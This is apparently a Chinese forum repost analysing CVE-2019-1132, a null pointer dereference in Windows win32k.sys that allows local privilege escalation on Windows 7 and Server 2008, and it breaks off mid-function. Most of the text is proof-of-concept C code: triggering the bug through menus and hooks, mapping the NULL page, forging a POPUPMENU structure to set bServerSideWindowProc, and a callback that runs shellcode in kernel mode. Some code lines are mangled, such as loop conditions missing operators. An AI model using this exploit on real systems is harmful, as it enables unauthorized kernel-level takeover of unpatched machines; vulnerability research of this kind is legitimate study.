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CVE–2019-1132漏洞修复后仍可被利用

2019-8-8 16:13| 发布者: 21027264| 查看: 38| 评论: 0|原作者: Miss.wu|来自: 黑客技术论坛

摘要: CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了,但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节,以及PoC代码。简介该漏洞是win32k.sys驱动中的空指针引 ...
 
CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了,但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节,以及PoC代码。
简介
该漏洞是win32k.sys驱动中的空指针引用,会导致Windows 7和Windows Server 2008系统中的权限提升。微软已于2019年7月发布漏洞补丁。本文将对漏洞进行分析并创建了Windows 7 x86环境+6月份修复补丁的PoC。
 
漏洞概述
该来的位于win32k!xxxMNOpenHierarchy函数中,因为该函数没有检查指向tag POPUPMENU->ppopupmenuRoot的指针是否为空。该域可以被不同的操作访问,如果攻击者可以将该域设置为NULL,就可以引发空指针引用。
为了利用该漏洞,攻击者需要以特定方式来映射该null页,然后成功进行权限提升。为了将ppopupmenuRoot设置为NULL,首先要释放该域指向的root popupmenu菜单。研究人员首先打开root popupmenu的一个sub-menu,sub-menu会在kernel模式下调用win32k!xxxMNOpenHierarchy,该调用会创建第二个sub-menu。创建第二个popupmenu时,root menu的sub-menu的ppopupmenuRoot域会含有NULL。当win32k!HMAssignmentLock函数尝试访问该域时,会执行一个空指针引用操作,导致BSOD(Windows蓝屏)。
 
漏洞触发
为了触发该漏洞,研究人员使用了ESET博客中的方法。总结如下:
1.首先创建一个窗口和3个menu对象,然后将meau项合并。
/* Creating the menu */
 for (int i = 0; i 3; i++)
 hMenuList[i] = CreateMenu();
/* Appending the menus along with the item */
 for (int i = 0; i 3; i++)
 {
 AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
 }
 AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");
/* Creating a main window class */
 xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
 hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
 WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
 WS_VISIBLE,
 GetModuleHandleA(NULL));
 printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain);
 ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
2.在WH_CALLWNDPROC和EVENT_SYSTEM_MENUPOPUPSTART上安装hook。
/* Hooking the WH_CALLWNDPROC function */
 SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
/* Hooking the trackpopupmenuEx WINAPI call */
 HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
 GetCurrentProcessId(), GetCurrentThreadId(), 0);
3.用TrackPopupMenuEx函数来展示root popup menu。当TrackPopupMenuEx被调用时,会调用win32k!xxxTrackPopupMenuEx函数来展示菜单。然后会通过EVENT_SYSTEM_MENUPOPUPSTART类型的事件来通知用户。
/* Setting the root popup menu to null */
printf("Setting the root popup menu to nulln");
release = 0;
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
4.这会触发事件hook函数xxWindowEventProc。通过发送MN_OPENHIERARCHY消息,它最终会调用函数win32k!xxxMNOpenHierarchy。
static
VOID
CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    UNREFERENCED_PARAMETER(hWinEventHook);
    UNREFERENCED_PARAMETER(event);
    UNREFERENCED_PARAMETER(idObject);
    UNREFERENCED_PARAMETER(idChild);
    UNREFERENCED_PARAMETER(idEventThread);
    UNREFERENCED_PARAMETER(dwmsEventTime);
    bEnterEvent = TRUE;
    if (iCount 0, 0);
    SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
    PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
5.当函数win32k!xxxMNOpenHierarchy被调用后,会调用win32k!xxxCreateWindowEx函数来创建另一个popupmenu对象。在调用win32k!xxxCreateWindowEx函数期间,WM_NCCREATE消息会被发送给用户,可以在WH_CALLWNDPROC hook函数中看到,比如xxWindowHookProc。
6.在xxWindowHookProc函数中,研究人员会通过检查root menu对象的window handle来检查是否创建rootpopup menu对象,并验证下一个popup menu对象window handle是否为NULL。研究人员还确认了该消息是否为WM_NCCREATE。
static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
    {
        printf("Sending the MN_CANCELMENUS messagen");
        SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
        bEnterEvent = FALSE;
    }
    return CallNextHookEx(0, code, wParam, lParam);
}
然后发送WM_CANCELMENUS到root popupmenu对象。
最终会调用win32k!xxxMNCancel,并设置root popupmenu的fDestroyed位。然后调用win32k!xxxMNCloseHierarchy关系root popupmenu对象的栈中的sub-menu。
因为sub-menu还没有被创建,因此函数会win32k!xxxMNCloseHierarchy跳过子menu对象,也不会设置fDestroyed位,当sub-menu存在时会破坏root popupmenu对象。
现在tagPOPUPMENU->ppopupmenuRoot被设置为NULL,因为sub-menu的root popup menu被破坏了,如截图所示。

Ppopupmenu设置为NULL
 
漏洞利用
此时,ppopupmenuRoot会指向NULL。为了从NULL页触发内存访问,研究人员发送MN_BUTTONDOWN消息到sub-menu对象。研究人员最开始尝试利用ESET建议的方法来触发该漏洞,但是通过发送MN_BUTTONDOWN消息可以调用win32k!xxxMNOpenHierarchy 函数。
还有另一种方法来调用win32k!xxxMNOpenHierarchy函数,那就是通过sub-menu作为根(root)的TrackPopupMenuEx。所以研究人员使用TrackPopupMenuEx来调用win32k!xxxMNOpenHierarchy函数,并最终访问了NULL页面。

访问NULL Page
可以看到访问了位置0x0000001c,该位置指向的是释放的root popup menu对象的tagWND对象。
然后该地址被发送给win32k!HMAssignmentLock函数。
ESET博客中提到,bServerSideWindowProc位是在函数win32k!HMDestroyedUnlockedObject中设置的。但是研究人员尝试后还是无法设置攻击窗口的位。因此研究人员使用clockObj指令递减来设置 bServerSideWindowProc位。
下面介绍下漏洞利用的步骤:
1.首先创建一个作为攻击窗口的窗口。
/* Creating the hunt window class */
    xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
    hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
        WS_EX_LEFT,
        WS_OVERLAPPEDWINDOW,
        GetModuleHandleA(NULL));
    printf("Handle of the huntWindow : 0x%08Xn", (unsigned int)hWindowHunt);
2.然后使用NtAllocateVirtualMemory来在NULL页面分配内存。
/* Allocating the memory at NULL page */
    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == NULL)
        return 1;
    if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
        &MemAddr,
        0,
        &MemSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || MemAddr != NULL)
    {
        printf("[-]Memory alloc failed!n");
        return 1;
    }
    ZeroMemory(MemAddr, MemSize);
3.然后使用HMValidateHandle函数技术就可以写了攻击窗口的tagWND对象的地址。
/* Getting the tagWND of the hWindowHunt */
    PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
    printf("Address of the win32k!tagWND of hWindowHunt : 0x%08Xn", (unsigned int)head->deskhead.pSelf);
4.研究人员在NULL页面伪造了一个假的popupmenu对象来满足设置攻击窗口的bServerSideWindowProc位的条件。
/* Creating a fake POPUPMENU structure */
    DWORD dwPopupFake[0x100] = { 0 };
    dwPopupFake[0x0] = (DWORD)0x1; //->flags
    dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
    dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
    dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
    dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
    dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
    dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
    dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup
 dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot
    dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
    dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem
    dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
    dwPopupFake[0xC] = (DWORD)0;
/* Copying it to the NULL page */
    RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);
win32k!HMAssignmentLock函数(0x0000001c)访问的地址指向的是伪造的popupmenu对象的spwndActivePopup。然后研究人员将伪造的popupmenu对象的spwndActivePopup域设置为指向地址tagWND + 0x12。
这是因为在[eax + 4]减clockObj值的指令,bServerSideWindowProc位在tagWND对象的第18位。为了成功设置该位,(eax + 4)必须指向tagWND对象+0x16。
5.现在就可以访问映射到NULL页面的域,并验证攻击窗口的bServerSideWindowProc位是否设置。

设置bServerSideWindowProc位
6.可以看出设置了bServerSideWindowProc位。然后可以发送消息到攻击窗口,然后会被xxMainWindowProc处理。然后检查cs寄存器。如果cs寄存器等于0x1b,而且处于用户模式,就会失败否则就调用shellcode。
Shellcode执行后,就成功了:
static
LRESULT
WINAPI
xxMainWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == 0x1234)
    {
        WORD um = 0;
        __asm
        {
            // Grab the value of the CS register and
            // save it into the variable UM.
            //int 3
            mov ax, cs
            mov um, ax
        }
        // If UM is 0x1B, this function is executing in usermode
        // code and something went wrong. Therefore output a message that
        // the exploit didn't succeed and bail.
        if (um == 0x1b)
        {
            // USER MODE
            printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.rn");
            ExitProcess(-1); // Bail as if this code is hit either the target isn't 
                             // vulnerable or something is wrong with the exploit.
        }
        else
        {
            success = TRUE; // Set the success flag to indicate the sprayCallback()

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